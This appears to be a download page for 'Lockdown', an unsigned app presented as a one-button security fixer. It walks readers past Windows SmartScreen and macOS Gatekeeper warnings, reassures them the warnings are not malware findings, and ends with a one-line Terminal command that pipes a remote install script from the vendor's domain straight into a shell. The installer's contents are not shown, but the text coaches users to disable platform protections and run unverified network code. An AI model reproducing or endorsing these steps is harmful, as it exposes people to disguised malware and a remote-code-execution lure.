Install Lockdown
Lockdown finds the easy ways people break in, like missed updates and open doors to the internet, and fixes them with one button. Anything it changes can be undone.
About two minutes. Your computer will show one warning on the way, because Lockdown is new. Below is every screen you'll see, and exactly what to press.
Why the warning? Windows shows it for any app that isn't signed with a paid Microsoft certificate. Lockdown isn't signed yet, so it says Unknown publisher. It is not a virus warning. If you'd rather wait, pressing “Don't run” is always safe.
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Download and open it
Press the button. When it finishes, open Lockdown-Setup from the bottom of your browser or your Downloads folder.
Download for Windows - 2
On the blue box, press "More info"
It says "Windows protected your PC". Don't press "Don't run". Press the small words More info.
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Press "Run anyway"
A new button appears next to "Don't run". Press Run anyway.
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Press "Yes"
Windows asks "Do you want to allow this app to make changes to your device?". Press Yes. Lockdown installs and opens by itself.
Why the extra step? Macs block any app that hasn't paid for Apple's review yet. Lockdown hasn't, so your Mac says it “could not verify” it. That is not a malware finding. You allow it once in System Settings, and your password goes only to your Mac, never to us.
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Download it
Press the button. Your Mac puts Lockdown in your Downloads folder.
Download for MacMade for Apple chips (2020 and newer). Older Intel Mac? Use the one-line way at the bottom.
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Drag it into Applications, then open it
Open Downloads. Drag Lockdown onto Applications in the sidebar. Open Applications and double-click Lockdown. Your Mac says it can't be opened. Press Done.
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Open System Settings and press "Open Anyway"
Click the Apple menu (top left), then System Settings, then Privacy & Security. Scroll down. Next to "Lockdown was blocked", press Open Anyway, then enter your Mac password. Lockdown opens.
Or the one-line way (no settings, any Mac)
Open Terminal (hold ⌘ Command, press Space, type Terminal, press Return). Paste this and press Return. It only adds Lockdown to Applications and opens it; nothing else on your Mac changes.
curl -fsSL https://lockdown.westwardconsulting.ai/install.sh | sh